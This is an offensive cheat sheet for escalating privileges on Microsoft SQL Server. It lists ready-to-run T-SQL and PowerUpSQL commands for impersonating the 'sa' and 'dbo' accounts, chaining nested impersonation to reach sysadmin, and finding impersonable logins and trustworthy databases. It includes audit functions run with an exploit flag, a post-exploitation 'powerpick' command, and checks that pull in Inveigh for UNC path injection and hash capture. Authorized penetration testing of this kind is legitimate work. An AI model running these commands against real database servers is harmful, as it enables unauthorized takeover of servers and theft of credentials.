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MSSQL - Audit Checks

Summary

Find and exploit impersonation opportunities

  • Impersonate as: EXECUTE AS LOGIN = 'sa'
  • Impersonate dbo with DB_OWNER 
    SQL> select is_member('db_owner');
SQL> execute as user = 'dbo'
SQL> SELECT is_srvrolemember('sysadmin')

Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose

# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug

Exploiting Impersonation

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()

Exploiting Nested Impersonation

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER

Find SQL Server Logins Which can be Impersonated for the Current Database

select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'

Find databases that have been configured as trustworthy

Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose 

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases

The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist